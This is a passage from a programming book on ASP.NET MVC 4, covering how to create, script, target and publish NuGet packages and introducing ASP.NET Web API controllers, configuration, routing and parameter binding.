If you follow the folder structure conventions described earlier, you do not have to specify a list of files in the .nuspec file. But in some cases you may choose to be explicit about which files to include. For example, you might have a build process where you'd rather choose the files to include rather than copy them into the convention-based structure first. You can use the `<files>` element to choose which files to include.

Note that if you specify any files, the conventions are ignored and only the files listed in the .nuspec file are included in the package.

The `<files>` element is an optional child element of the `<package>` element and contains a set of `<file>` elements. Each `<file>` element specifies the source and destination of a file to include in the package. Table 10-5 describes these attributes.

TABLE 10-5: Version Ranges

ATTRIBUTE	DESCRIPTION
src	The location of the file or files to include. The path is relative to the NuSpec file unless an absolute path is specified. The wildcard character, *, is allowed. Using a double wildcard, **, implies a recursive directory search.
target	Optional. The destination path for the file or set of files. This is a relative path within the package, such as <code>target="lib"</code> or <code>target="lib\net40"</code> . Other typical values include <code>target="content"</code> or <code>target="tools"</code> .

The following example shows a typical files element:

```
<files>
  <file src="bin\Release\*.dll" target="lib" />
```

```
<file src="bin\Release\*.pdb" target="lib" />
<file src="tools\**\*.*" target="tools" />
</files>
```

All paths are resolved relative to the .nuspec file unless an absolute path is specified. For more details on how this element works, check out the specifications on the NuGet Documentation website: <http://docs.nuget.org/docs/reference/nuspec-reference>.

Tools

A package can include PowerShell scripts that automatically run when the package is installed or removed. Some scripts can add new commands to the console, such as the MvcScaffolding package.

Let's walk through building a very simple package that adds a new command to the Package Manager Console. In this particular case, the package won't be particularly useful, but it will illustrate some useful concepts.

I've always been a fan of the novelty toy called the Magic 8-Ball. If you're not familiar with this toy, it's very simple. It's an oversized plastic 8-ball (the kind you use when playing pool or pocket billiards). First, you ask the 8-ball any yes or no question that pops in your head. You then shake it and peer into a small clear window that allows you to see one face of an icosahedral (20-sided) die with the answer to the question.

You'll build your own version of the Magic 8-Ball as a package that adds a new PowerShell command to the console. We'll start by writing a script named `init.ps1`. By convention, scripts with this name placed in the `tools` folder of the package are executed every time the solution is opened, allowing the script to add this command to the console.

Table 10-6 shows a list of all the special PowerShell scripts that can be included in the `tools` folder of a package and when NuGet executes them.

TABLE 10-6: Special PowerShell Scripts

NAME	DESCRIPTION
Init.ps1	Runs the first time a package is installed into any project within a solution. If the same package is installed into additional projects in the solution, the script is not run during those installations. The script also runs every time the solution is opened in Visual Studio. This is useful for adding new commands into the Package Manager Console.
Install.ps1	Runs when a package is installed into a project. If the same package is installed in multiple projects in a solution, the script runs each time the package is installed into the project. This is useful for taking additional installation steps beyond what NuGet normally can do.
Uninstall.ps1	Runs every time a package is uninstalled from a project. This is useful for any cleanup your package may need to do beyond what NuGet does normally.

When calling these scripts, NuGet will pass in a set of parameters, as shown in Table 10-7.

TABLE 10-7: NuGet PowerShell Script Parameters

NAME	DESCRIPTION
\$installPath	Path to the installed package.
\$toolsPath	Path to the tools directory within the installed package directory.
\$package	An instance of the package.
\$project	The project you are installing the package into. This is null in the case of <code>init.ps1</code> because <code>init.ps1</code> runs at the solution level.

Your `init.ps1` script will be very simple. It will simply import a PowerShell module that contains your real logic:

```
param($installPath, $toolsPath, $package, $project)

Import-Module (Join-Path $toolsPath MagicEightBall.psm1)
```

The first line declares the parameters to the script that NuGet will pass into the script when NuGet calls the script.

The second line imports a module named `MagicEightBall.psm1`. This is the PowerShell module script that contains the logic for this new command you plan to write. This module is located in the same directory as the `init.ps1` script, which, as described earlier, must go in the `tools` directory. That's why you need to join the `$toolsPath` (path to the `tools` directory) with the name of your module to get the full path to your module script file.

The following is the source for `MagicEightBall.psm1`:

```
$answers = "As I see it, yes",
          "Reply hazy, try again",
          "Outlook not so good"

function Get-Answer($question) {
    $rand = New-Object System.Random
    return $answers[$rand.Next(0, $answers.Length)]
}

Register-TabExpansion 'Get-Answer' @{
    'question' = {
        "Is this my lucky day?",
        "Will it rain tonight?",
        "Do I watch too much TV?"
    }
}

Export-ModuleMember Get-Answer
```

Let's break it down:

- The first line declares an array of possible answers. While the real Magic 8-Ball has 20 possible answers, you'll start off simple with only three.
- The next block of code declares your function named `Get-Answer`. This is the new command that this package adds to the Package Manager Console. It generates a random integer number between 0 (inclusive) and 3 (exclusive). You then use this random number as an index into your array to return a random answer.
- The next block of code registers a tab expansion for your new command via the `Register-TabExpansion` method. This is a very neat way to provide IntelliSense-like tab completion to any function. The first parameter is the name of the function you will provide tab expansion for. The second parameter is a dictionary used to supply the possible tab expansion values for each parameter to the function. Each entry in the dictionary has a key corresponding to the parameter name. In this example, you only have one parameter, `question`. The value of each entry is an array of possible values. This code sample provides three possible questions you can ask the 8-ball, but of course the user of the function is free to ask any question.
- The last line of code exports the `Get-Answer` function. This makes it available to the console as a publicly callable command.

Now all you need to do is package these files up and install your package. In order for these scripts to run, they must be added to the `tools` folder of a package. If you drag these files into the Contents pane of Package Explorer (a useful tool we cover later in this chapter in the section “Using the Package Explorer”), it'll automatically prompt you to place them in the `tools` folder. If you're using `NuGet.exe` to create the package, place these files in a folder named `tools`.

Once you're done creating the package, you can test it out by installing it locally. Simply place the package in a folder and add that folder as a package source. After installing the package, the new command becomes available in the Package Manager, complete with tab expansion, as shown in Figure 10-18.

FIGURE 10-18

Building packages that can add powerful new commands to the Package Manager Console is relatively quick and easy, once you get the hang of PowerShell. We've only begun to scratch the surface of the types of things you can do with it.

Framework and Profile Targeting

Many assemblies target a specific version of the .NET Framework. For example, you might have one version of your library that's specific to .NET 2.0 and another version of the same library that takes advantage of .NET 4 features. You do not need to create separate packages for each of these versions. NuGet supports putting multiple versions of the same library in a single package, keeping them in separate folders within the package.

When NuGet installs an assembly from a package, it checks the target .NET Framework version of the project you are adding the package to. NuGet then selects the correct version of the assembly in the package by selecting the correct subfolder within the `lib` folder. Figure 10-19 shows an example of the layout for a package that targets both .NET 2.0 and .NET 4.

To enable NuGet to do this, use the following naming convention to indicate which assemblies go with which framework versions:

```
lib\{framework name}\{version}
```

There are only two choices for the `framework name`: .NET Framework and Silverlight. It's customary to use the abbreviations for these frameworks, in this case, `net` and `sl`, respectively.

The `version` is the version of the framework. For brevity, you can omit the dot character. Thus:

- `net20` targets .NET 2.0.
- `net35` targets .NET 3.5.
- `net40` targets .NET 4.
- `net45` targets .NET 4.5.
- `sl4` targets Silverlight 4.0.

Assemblies that have no associated framework name or version are stored directly in the `lib` folder.

When NuGet installs a package that has multiple assembly versions, it tries to match the framework name and version of the assembly with the target framework of the project.

If an exact match is not found, NuGet looks at each of the folders within the `lib` folder of the package and finds the folder with a matching framework version and the highest version number that's less than or equal to the project's target framework.

For example, if you install a package that has the `lib` folder structure (as previously shown in Figure 10-19) into a project that targets the .NET Framework 3.5, the assembly in the `net20` folder (for .NET Framework 2.0) is selected because that's the highest version that's still less than or equal to 3.5.

FIGURE 10-19

NuGet also supports targeting a specific framework profile by appending a dash and the profile name to the end of the folder:

```
lib\{framework name}\{version}
```

For example, to target the Windows Phone profile, place your assembly in a folder named `s14-wp`.

Profiles supported by NuGet include:

- **Client:** Client Profile
- **Full:** Full Profile
- **WP:** Windows Phone

At the time of this writing, to target the Windows Phone profile the Silverlight 4 framework must be specified. It is anticipated that in the future, later versions of Silverlight will be supported on the phone.

Prerelease Packages

By default, NuGet displays only “stable” packages. However, you might want to create a beta version of your next big release and have it available via NuGet.

NuGet supports the concept of prerelease packages. To create a prerelease version, specify a prerelease version number according to the Semantic Versioning (SemVer) specification. For example, to create a beta for your 1.0 package, you might set the version as 1.0.0-beta. You can set this either in the NuSpec’s version field or via the `AssemblyInformationalVersion`, if you are creating a package via a project:

```
[assembly: AssemblyInformationalVersion("1.0.1-alpha")]
```

For more details about the version string and SemVer, check out the NuGet versioning docs at <http://docs.nuget.org/docs/Reference/Versioning>.

Prerelease packages can depend on stable packages, but stable packages cannot depend on prerelease packages. The reason for this is that when someone installs a stable package, he or she may not want to take on the added risk of a prerelease package. NuGet requires people to opt into prerelease packages and the inherent risks that entails.

To install a pre-release package from the Manage NuGet Packages dialog, make sure `Include Prerelease` is selected in the drop-down in the middle pane, not `Stable Only`. In the Package Manager Console, use the `-IncludePrerelease` flag with the `Install-Package` command.

PUBLISHING PACKAGES

The previous section looked at how to create packages. Creating packages is useful, but at some point, you may want to share them with the world. If you don’t care to share them, you can still make use of NuGet with private feeds. I cover that later.

Publishing to NuGet.org

By default, NuGet points to a feed located at <https://nuget.org/api/v2/>.

To publish your package to this feed, you do the following:

1. Set up a NuGet Gallery account at <http://nuget.org/>. Figure 10-20 shows the NuGet gallery.

FIGURE 10-20

2. Log into the site, and then click your username. This brings you to a page with options to manage your account and your packages. Click on the Upload Package link to navigate to the upload page, as shown in Figure 10-21.

Uploading a package takes you to a screen that enables you to verify the metadata for the package, as shown in Figure 10-22. If you want to upload the package but keep it hidden from search results, uncheck the “List this package in search results” option. Note, the package can still be installed if you know the ID and version. This is useful if you want to test the package before you list it publicly.

3. Once you've verified the metadata, click Submit. This uploads the package and redirects you to the package details page.

FIGURE 10-21

Using NuGet.exe

Given that you can use `NuGet.exe` to create a package, wouldn't it be nice if you could also use it to publish a package? The good news is you can do that with the `NuGet push` command. But before you run the command, you'll need to make note of your API key.

On the NuGet website, click your username to navigate to the account page. This page enables you to manage your account, but more importantly, it displays your access key, which is required when publishing packages using `NuGet.exe`. Simply scroll down a bit and click on the big blue area to reveal your API key, as shown in Figure 10-23.

Conveniently, there's also a button labeled `Generate New API Key` in case you accidentally leak your key, much like I just did by posting this screenshot.

When you use the `NuGet push` command, it requires that you specify your API key. However, you can use the `setApiKey` command to have NuGet remember your API key by securely storing it so that you don't need to specify it every time you run the `push` command. Figure 10-24 shows an example of using the `setApiKey` command.

The API key is saved to a `NuGet.config` file in your Roaming profile. For example, on my Windows 7 machine, it's stored at `C:\Users\Haacked\AppData\Roaming\NuGet\NuGet.config`.

FIGURE 10-22

With the API key saved, publishing a command is as easy as running the push command and specifying the .nupkg file you want to publish, as shown in Figure 10-25.

This makes the package immediately available in the feed and is thus available for installation via the dialog or console. Note that it may take a few minutes before this change is reflected in the nuget.org website.

Using the Package Explorer

After building your package, you may want to examine the package to ensure that it's been packaged up properly. All NuGet packages are, at their core, simply zip files. You can rename the file to have a .zip file extension and then unzip the contents to take a look.

That's good to know, but there's an easier way to look inside a package: by using the Package Explorer. This is a ClickOnce application, which is available on NuGet's CodePlex release page at <http://nuget.codeplex.com/releases>.

After installing the Package Explorer, you can double-click any .nupkg file to view its contents, as shown in Figure 10-26.

FIGURE 10-23

```
C:\Windows\system32\cmd.exe
C:\dev>nuget.exe setApiKey dc9bf8da-c367-4f92-8557-1ecc8696c5b0
The API Key 'dc9bf8da-c367-4f92-8557-1ecc8696c5b0' was saved
for the NuGet gallery (https://www.nuget.org) and the symbol
server (http://nuget.gw.symbolsource.org/Public/NuGet).
C:\dev>
```

FIGURE 10-24

The Package Explorer can also be used to make quick edits to a package file or even to create a brand new package. For example, clicking the Edit menu and selecting Edit Package Metadata makes the metadata editable, as shown in Figure 10-27.

Files can be dragged into the appropriate folder within the Package Contents pane. When dropping a file into the Package Contents pane but not on any particular folder, Package Explorer prompts the user with a suggested folder depending on the content. For example, it suggests putting assemblies in the lib folder and PowerShell scripts in the Tools folder.

```
C:\dev>nuget push MusicCategorizer.1.2.0.nupkg
Pushing MusicCategorizer 1.2.0 to the NuGet gallery (https://www.nuget.org)...
Your package was pushed.

C:\dev>
```

FIGURE 10-25

When you are done editing the package, you can save the .nupkg file by going to the File \Rightarrow Save menu option or by using the Ctrl+S key combination.

Package Explorer also provides a convenient means to publish the package via the File \Rightarrow Publish menu. This brings up a publish dialog, as shown in Figure 10-28. Just enter your API key and click Publish, and the package will show up in the feed immediately.

SUMMARY

Although NuGet ships with ASP.NET MVC 4 and complements it nicely, NuGet is not restricted to ASP.NET MVC by any means. NuGet can install packages for nearly any type of project within Visual Studio. Building a Windows Phone application? There's a set of NuGet packages for it.

But when you are building an ASP.NET MVC 4 application, NuGet is a great companion. Many packages are available that take advantage of specific features built into ASP.NET MVC.

For example, you can install the Autofac.Mvc4 package to automatically wire up the Autofac dependency injection library as the dependency resolver. Install the MvcScaffolding package to add new scaffold templates to the Add Controller dialog.

When you are ready to share your own useful libraries with the world, don't just place them in a zip file and pop them on the Web. Turn them into a NuGet package and make it easy for others to discover the great work you've created.

ASP.NET Web API

Brad Wilson

WHAT'S IN THIS CHAPTER?

- Defining ASP.NET Web API
- Getting started with Web API
- Writing an API controller
- Configuring Web API
- Comparing Web API and MVC routing
- Binding parameters
- Filtering requests
- Enabling dependency injection
- Exploring APIs programmatically
- Tracing the application

The Web API project was born of the passions of the Windows Communication Foundation (WCF) team and its customers, who wanted to have deep integration with HTTP. Previous iterations of web service programming with WCF were mostly an affair of abstractions meant to hide things like transport details. Web API sought to flip the process on its head and strip away most of the layering in WCF and instead give the programmer direct access to all aspects of the HTTP programming model. Developed in the open with frequent preview releases, and shepherded by Henrik Frystyk Nielsen (an architect on the Web API team and one of the

original HTTP specification authors), this new framework offered a real alternative for WCF customers who wanted nothing but HTTP, and wanted complete control therein.

In 2011, a reorganization of teams brought the ASP.NET MVC and WCF Web API teams together under Scott Guthrie, who was very interested in merging the two efforts so that customers would be able to easily transition their ASP.NET knowledge into writing web APIs. The teams set out to combine the best ideas of both platforms, and the result — ASP.NET Web API — was born, and shipped alongside ASP.NET MVC 4.

DEFINING ASP.NET WEB API

If there is one common denominator in digital communications today, it's the prevalence of HTTP. Not only do we have browsers in our PCs that have spoken it for more than two decades, many of us now carry significant computing power in our pockets every day in the form of smart phones. Applications frequently use HTTP and JSON as their communication channels to call home. A web application today probably isn't considered "done" until it offers some form of remotely accessible API.

When MVC developers ask me to give them the elevator pitch for Web API, I usually say: "ASP.NET MVC excels at accepting form data and generating HTML; ASP.NET Web API excels at accepting and generating structured data like JSON and XML." MVC has flirted with providing structured data support (with `JsonResult` and the JSON value provider), but it still fell short in several ways that are important to API programmers, including:

- Dispatching to actions based on HTTP verbs rather than action names
- Accepting and generating content which may not necessarily be object oriented (not only XML, but also content like images, PDF files, or VCARDs)
- Content type negotiation, which allows the developer to both accept and generate structured content independent of its wire representation
- Hosting outside of the ASP.NET runtime stack and IIS web server, something which WCF has been able to do for years

An important part of this story, though, is that the Web API team went to great lengths to try to allow you to leverage your existing ASP.NET MVC experience with controllers, actions, filters, model binders, dependency injection, and the like. Many of these same concepts appear in Web API in very similar forms, which makes applications that combine MVC and Web API seem very well integrated.

Since it's an entirely new framework, ASP.NET Web API might warrant a book of its own. This chapter should help illustrate the similarities and differences between MVC and Web API and help you decide whether you want to start including Web API in your MVC projects.

GETTING STARTED WITH WEB API

ASP.NET MVC 4 ships as part of Visual Studio 2012 and as an add-on for Visual Studio 2010 SP1. The installer includes all of the components of ASP.NET Web API.

All the MVC project templates include the necessary binaries and configuration to support both MVC and Web API code; they only differ in what sample files are placed into the project by default. The template labeled “Web API,” as shown in Figure 11-1, is the only one that includes a sample API controller. Controllers of both types — MVC and Web API — can be added to existing projects through both the File \Rightarrow New Item menu in Visual Studio and the Add \Rightarrow Controller context menu item inside Solution Explorer. This includes generating controllers with Entity Framework database access code for all read and write operations.

FIGURE 11-1

WRITING AN API CONTROLLER

Web API ships with MVC, and both utilize controllers. However, Web API does not share the Model-View-Controller design of MVC. They both share the notion of mapping HTTP requests to controller actions, but rather than MVC’s pattern of using an output template and view engine to render a result, Web API directly renders the resulting model object as the response. Many of the design differences between Web API and MVC controllers come from this core difference between the two frameworks. This section illustrates the basics of writing a Web API controller and actions.

Examining the Sample ValuesController

Listing 11-1 contains the `ValuesController` that you get when you create a new project using the Web API project template. The first difference you'll notice is that there is a new base class used for all API controllers: `ApiController`.

LISTING 11-1: `ValuesController`

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;

namespace WebApiSample.Controllers
{
    public class ValuesController : ApiController {
        // GET api/values
        public IEnumerable<string> Get() {
            return new string[] { "value1", "value2" };
        }

        // GET api/values/5
        public string Get(int id) {
            return "value";
        }

        // POST api/values
        public void Post([FromBody] string value) {
        }

        // PUT api/values/5
        public void Put(int id, [FromBody] string value) {
        }

        // DELETE api/values/5
        public void Delete(int id) {
        }
    }
}
```

The second thing you'll notice is that the methods in the controller return raw objects rather than views (or other action helper objects). Instead of returning views composed of HTML, the objects that API controllers return are transformed into the best matched format that the request asked for. (We'll talk a little later on about how that process takes place.)

The third difference owes to conventional dispatching differences between MVC and Web API. Whereas MVC controllers always dispatch to actions by name, Web API controllers by default dispatch to actions by HTTP verb. Although you can use verb override attributes like `[HttpGet]` or `[HttpPost]`, most of your verb-based actions will probably follow the pattern of starting the action

name with the verb name. The action methods in the sample controller are named directly after the verb, but they could also have just started with the verb name (meaning Get and GetValues are both reachable with the GET verb).

It's also worth noting that ApiController is defined in the namespace System.Web.Http and not in System.Web.Mvc where Controller is defined. When we discuss self-hosting later, the reason for this will be clearer.

NOTE *The System.Net.Http library, introduced in .NET 4.5, is an extremely lightweight and type-safe wrapper for both HTTP client and HTTP server applications. The Web API team chose to use this new abstraction to represent requests and responses because it isn't tied directly to the underlying host (whether that's ASP.NET or WCF, the two built-in hosts for Web API).*

If MVC 4 and Web API only require .NET 4, how can we use the System.Net.Http library from .NET 4.5? The Web API team got permission to back-port this new library into a form compatible with .NET 4, and ships a binary copy of that library along with MVC 4 (and on NuGet) so that Web API applications can use it while still targeting .NET 4.

We will discuss System.Net.Http in more detail later in the chapter when covering the implementation differences as well as the topic of self-hosting.

Async by Design: IHttpController

Listing 11-2 shows the interface of ApiController. If we compare this to the interface of MVC's Controller class, we will see that some concepts are the same (controller context, ModelState, Url helper class, User), some are similar but different (Request is HttpRequestMessage from System.Net.Http rather than HttpRequestBase from System.Web), and some are missing (most notably Response and the ActionResult-generating methods).

LISTING 11-2: ApiController public interface

```
namespace System.Web.Http {
    public abstract class ApiController : IHttpController, IDisposable {
        public HttpConfiguration Configuration { get; set; }
        public HttpContextBase ControllerContext { get; set; }
        public ModelStateDictionary ModelState { get; }
        public HttpRequestMessage Request { get; set; }
        public UrlHelper Url { get; set; }
        public IPrincipal User { get; }

        public virtual Task<HttpResponseMessage> ExecuteAsync(
            HttpContextBase controllerContext,
            CancellationToken cancellationToken);

        protected virtual void Initialize()
```

```
        HttpContext controllerContext);
    }
}
```

The `ExecuteAsync` method on `ApiController` comes from `IHttpController`, and as you'd expect by its name, it means that all Web API controllers are asynchronous by design. There is no need for a separate class for sync vs. async actions when using Web API. It's also clear that the pipeline here is quite different from ASP.NET, because rather than having access to a `Response` object, API controllers are expected to return a response object of type `HttpResponseMessage`.

The `HttpRequestMessage` and `HttpResponseMessage` classes form the basis of the HTTP support in `System.Net.Http`. The design of these classes is quite different from ASP.NET's core runtime classes in that handlers in this stack are given a request message and expected to return a response message. Unlike in ASP.NET, the `System.Net.Http` classes have no static methods for getting access to information about the ongoing request. This also means that rather than writing directly to a response stream, the developer instead returns back an object which describes the response (and can later render it when needed).

Incoming Action Parameters

To accept incoming values from the request, you can put parameters on your action, and just like MVC, the Web API framework will automatically provide values for those action parameters.

Unlike MVC, there is a strong line drawn between values from the HTTP body and values taken from other places (like from the URI).

By default, Web API will assume that parameters which are simple types (that is, the intrinsic types, strings, dates, times, and anything with a type converter from strings) are taken from non-body values, and complex types (everything else) are taken from the body. There is an additional restriction as well: Only a single value can come from the body, and that value must represent the entirety of the body.

Incoming parameters which are not part of the body are handled by a model binding system that is similar to the one included in MVC. Incoming and outgoing bodies, on the other hand, are handled by a brand new concept called formatters. Both model binding and formatters are covered in more detail later in this chapter.

Action Return Values, Errors, and Asynchrony

Web API controllers send values back to the client by way of the return value of the action.

As you probably guessed by the signature of `ExecuteAsync`, actions in Web API can return `HttpResponseMessage` to represent the response to send back to the client. In some ways, this is similar to the `ActionResult` return type in MVC. However, returning a response object is a fairly low-level operation, so Web API controllers almost always return a raw object value (or sequence of values) instead.

When an action returns a raw object, Web API will automatically convert it into a structured response in the desired format (like JSON or XML) using a feature of Web API called *Content Negotiation*. As mentioned earlier, the extensible formatting mechanism which does this conversion will be covered later in the chapter.

This ability to return a raw object is very powerful, but we've lost something with the shift away from `ActionResult`; namely, the ability to return different values for success and failure. When the

signature of your action is strongly tied to the type of the return value that you want to use for success, how can you easily support returning some different representation for errors? If we change the signature of the action to `HttpResponseMessage`, it complicates the controller action (and unit testing).

To solve this dilemma, Web API allows developers to throw `HttpException` from their actions to indicate that they are returning an `HttpResponseMessage` rather than successful object data. In this way, actions which have errors can formulate a new response and throw the response exception, and the Web API framework will treat it as though the action directly returned that response message. Successful responses, then, can continue to return their raw object data and gain the benefits of simpler unit testing.

A final note about action return values: if your action is asynchronous in nature (that is, it consumes other asynchronous APIs), you can modify the signature of your action return value to be `Task<T>` and use the `async` and `await` features in .NET 4.5 to seamlessly convert your sequential code into asynchronous code. Web API understands when actions return `Task<T>` that it should simply wait for the task to be complete, and then unwrap the returning object of type `T` and treat it as though the action had returned that directly.

CONFIGURING WEB API

You may have been wondering about the `Configuration` property on the controller. In traditional ASP.NET applications, application configuration is done in `Global.asax`, and the application uses global state (including statics and thread local variables) to give access to the request and application configuration.

Web API was designed not to have any such static global values, and instead put its configuration into the `HttpConfiguration` class. This has two impacts on application design: First, you can run multiple Web API servers in the same application (since each server has its own non-global configuration); second, you can run both unit tests and end to end tests more easily in Web API, since you contain that configuration into a single non-global object, as statics make parallelized testing much more challenging. The configuration class includes access to the following items:

- Routes
- Filters to run for all requests
- Parameter binding rules
- The default formatters used for reading and writing body content
- The default services used by Web API
- A user-provided dependency resolver for DI on services and controllers
- HTTP message handlers
- A flag for whether to include error details like stack traces
- A `Properties` bag which can hold user-defined values

How you create or get access to this configuration depends on how you are hosting your application: inside ASP.NET or inside WCF self-host.

Configuration in Web-Hosted Web API

The default MVC project templates are all web-hosted projects, since MVC only supports web-hosting. Inside the `App_Startup` folder you'll find the startup configuration files for your MVC application. The Web API configuration code is in `WebApiConfig.cs` (or `.vb`), and looks something like this:

```
public static class WebApiConfig {
    public static void Register(HttpConfiguration config) {
        config.Routes.MapHttpRoute(
            name: "DefaultApi",
            routeTemplate: "api/{controller}/{id}",
            defaults: new { id = RouteParameter.Optional }
        );
    }
}
```

Developers will make modifications to this file to reflect any configuration changes they wish to make for their application. The default contains a single route as an example to get you started.

If you look inside `Global.asax`, you'll see that this configuration function is called by passing in the `GlobalConfiguration.Configuration` object. Web-hosted Web API only supports a single server and single configuration file, and the developer is not responsible for creating these, only for configuring them as appropriate. The `GlobalConfiguration` class is found in the assembly `System.Web.Http.WebHost.dll`, as is the rest of the infrastructure needed to support web-hosted Web APIs.

Configuration in Self-Hosted Web API

The other host that ships with Web API is a WCF-based self-host. The code this host is contained in is the assembly `System.Web.Http.SelfHost.dll`.

There are no built-in project templates for self-hosting because there is no limitation to the project type that you may want to use when self-hosting. You may be hosting inside of a console application, or inside of a GUI application, or even inside of a Windows Service. The simplest way to get Web API running in your application is to use NuGet to install the self-host Web API package (named `Microsoft.AspNet.WebApi.SelfHost`), which will include all the `System.Net.Http` and `System.Web.Http` dependencies automatically.

When self-hosting, you are responsible for creating the configuration and starting and stopping the Web API server as appropriate. The configuration class you need to instantiate is `HttpSelfHostConfiguration`, which extends the base `HttpConfiguration` class by requiring a base URL to listen to. After setting up the configuration, you will create an instance of `HttpSelfHostServer`, and then tell it to start listening.

Here is an example snippet of startup code for self-host:

```
var config = new HttpSelfHostConfiguration("http://localhost:8080/");
config.Routes.MapHttpRoute(
    name: "DefaultApi",
    routeTemplate: "api/{controller}/{id}",
    defaults: new { id = RouteParameter.Optional }
);
```

```
var server = new HttpSelfHostServer(config);
server.OpenAsync().Wait();
```

You should also shut down the server when you're done:

```
server.CloseAsync().Wait();
```

If you are self-hosting in a console app, you would probably run this code in your Main function. For self-hosting in other application types, just find the appropriate place to run application startup and shutdown code and run these things there. In both cases, the .Wait() call could (and should) be replaced with an async code (using `async` and `await`) if your application development framework allows you to write an asynchronous startup and shutdown code.

Configuration in Third-Party Hosts

The hosting system for Web API is pluggable. Configuration for these hosts will be dependent on the hosting system, so please see the host documentation to determine how configuration is accomplished.

NOTE *The subject of writing a third-party host is beyond the scope of this book. If you are interested in writing a Web API host, please start a discussion on the ASP.NET Web API forums at <http://forums.asp.net/1246.aspx>.*

ADDING ROUTES TO YOUR WEB API

As illustrated in the previous section, Web API's primary route registration is the `MapHttpRoute` extension method. As is the case for all Web API configuration tasks, the routes for your application are configured off the `HttpConfiguration` object.

If you peek into the configuration object, you'll discover that the `Routes` property points to an instance of the `HttpRouteCollection` class rather than ASP.NET's `RouteCollection` class. Web API offers several versions of `MapHttpRoute` that work against the ASP.NET `RouteCollection` class directly, but such routes will only be usable when web-hosted, so we recommend (and the project templates encourage) that you use the versions of `MapHttpRoute` on `HttpRouteCollection`.

The routing system in Web API uses the same routing logic that MVC uses to help determine which URIs should be routed to the application's API controllers, so the concepts you know from MVC apply to Web API, including the route matching patterns, defaults, and constraints. In order to keep Web API from having any hard dependencies on ASP.NET, the team took a copy of the routing code from ASP.NET and ported it to Web API. The way this code behaves changes slightly depending on your hosting environment.

When running in the self-hosted environment, Web API uses its own private copy of the routing code, ported from ASP.NET into Web API. Routes in Web API will look much the same as those in MVC, but with slightly different class names (`HttpRoute` vs. `Route`, for example). Figure 11-2 shows the self-hosted pipeline.

FIGURE 11-2

When your application is web-hosted, Web API uses ASP.NET's built-in routing engine, since it's already hooked into the ASP.NET request pipeline. When registering routes in a web-hosted environment, the system will not only register your `HttpRoute` objects, it will also automatically create wrapper `Route` objects and register them in the ASP.NET routing engine. The major difference between self-hosting and web-hosting is when routing is run; for web-hosted, routing is run fairly early (by ASP.NET), whereas in the self-host scenario, routing is fairly late (by Web API). If you are writing a message handler, it's important to note that you may not have access to routing information, since routing may not yet have been run. Figure 11-3 shows the web-hosted pipeline.

The most significant difference between the default MVC route and the default Web API route is the lack of the `{action}` token in the latter. As discussed earlier, Web API actions are dispatched to by default based on the HTTP verb that the request used. However, you can override this mapping by using the `{action}` matching token in the route (or by adding an `action` value to the default values for the route). When the route contains an `action` value, Web API will use that action name to find the appropriate action method.

Even when using action name-based routing, the default verb mappings do still apply; that is, if the action name starts with one of the well-known verb names (`Get`, `Post`, `Put`, `Delete`, `Head`, `Patch`, and `Options`), then it's matched to that verb. For all the actions whose names don't match one of the well-known verbs, the default supported verb is `POST`. You should decorate your actions using the `[HttpXYZ]` family of attributes or the `[AcceptVerb]` attribute to indicate what verb(s) should be allowed when the default conventions aren't correct.

BINDING PARAMETERS

The discussion above about “body values” and “non-body values” leads us to discuss Formatters and Model Binders, since those two classes are responsible for handling bodies and non-body values, respectively. When you write an action method signature and include parameters, complex types come from “the body,” which really means that formatters are responsible for generating them; simple types, on the other hand, come from “not the body,” which means that model binders are responsible for generating them. For body content being sent, we use formatters to decode the data.

To tell the whole story, though, we need to rise up a level into a concept that is new to Web API: Parameter Binding. Web API uses parameter binders to determine how to provide values for individual parameters. Attributes can be used to influence that decision (like `[ModelBinder]`, an attribute we've seen before with MVC), but the default logic uses the simple type vs. complex type logic when there are no overrides applied to influence the binding decision.

The parameter binding system looks to the action's parameters to find any attributes which derive from `ParameterBindingAttribute`. There are a few such attributes built into Web API, as shown in Table 11.1. In addition, you can register custom parameter binders which do not use model binding or formatters, either by registering them in the configuration or by writing your own `ParameterBindingAttribute`-based attributes.

FIGURE 11-3

TABLE 11-1: Parameter Binding Attributes

ATTRIBUTE	MEANING
ModelBindingAttribute	This tells the parameter binding system to use model binding (meaning, create the value through the use of any registered model binders and value providers). <i>This is what is implied by the default binding logic for any parameter of a simple type.</i>
FromUriAttribute	This is a specialization of ModelBindingAttribute that tells the system only to use value providers from factories which implement <code>IUriValueProviderFactory</code> to limit the values bound to ensure that they come only from URI. <i>Out of the box, the route data and query string value providers in Web API implement this interface.</i>
FromBodyAttribute	This tells the parameter binding system to use formatters (meaning, create the value by finding an implementation of <code>MediaTypeFormatter</code> which can decode the body and create the given type from the decoded body data). <i>This is what is implied by the default binding logic for any complex type.</i>

The parameter binding system is quite different from the way MVC works. In MVC, all parameters are created through model binding. Model binding in Web API works mostly the same way as MVC (model binders and providers, and value providers and factories), although it's been re-factored quite a bit, based on the alternate model binding system from MVC Futures. You will find built-in model binders for arrays, collections, dictionaries, simple types, and yes, even complex types (though you would need to use `[ModelBinder]` to get them to run, obviously). Although the interfaces have changed slightly, if you know how to write a model binder or value provider in MVC, you'll be right at home doing the same thing for Web API.

Formatters are a new concept for Web API. Formatters are responsible for both consuming and producing body content. You can think of formatters in much the same way you might think of serializers in .NET: classes which are responsible for encoding and decoding custom complex types into and out of the stream of bytes, which is the body content. You can encode exactly one object into the body, and decode exactly one object back out of the body (although that object can contain nested objects, as you'd expect of any complex type in .NET).

Built into Web API you will find three formatters: one which encodes and decodes JSON (using `Json.NET`), one which encodes and decodes XML (using either `DataContractSerializer` or `xmlSerializer`), and one which decodes form URL encoded from data in the body from a browser form post. Each of these formatters is quite powerful, and will make its best effort to transcode its supported format into the class of your choosing.

NOTE While much of Web API is designed to support writing API servers, the built-in JSON and XML formatters are useful for client applications as well. The HTTP classes in `System.Net.Http` are all about raw HTTP and do not include any kind of object-to-content mapping system like formatters.

The Web API team chose to put the formatters into a stand-alone DLL named `System.Net.Http.Formatting`. Since this DLL has no dependencies other than `System.Net.Http`, it's usable for both client and server HTTP code — a wonderful benefit if you are also writing a .NET-based client application that will consume the Web API service you are writing.

The DLL contains several helpful extension methods for `HttpClient`, `HttpRequestMessage`, and `HttpResponseMessage` that allow you to easily use the built-in formatters in both client and server applications. (Note that the form URL encoded formatter was put into this DLL, but since it only supports decoding form data posted from browsers and not encoding, it is most likely of limited value to client applications.)

FILTERING REQUESTS

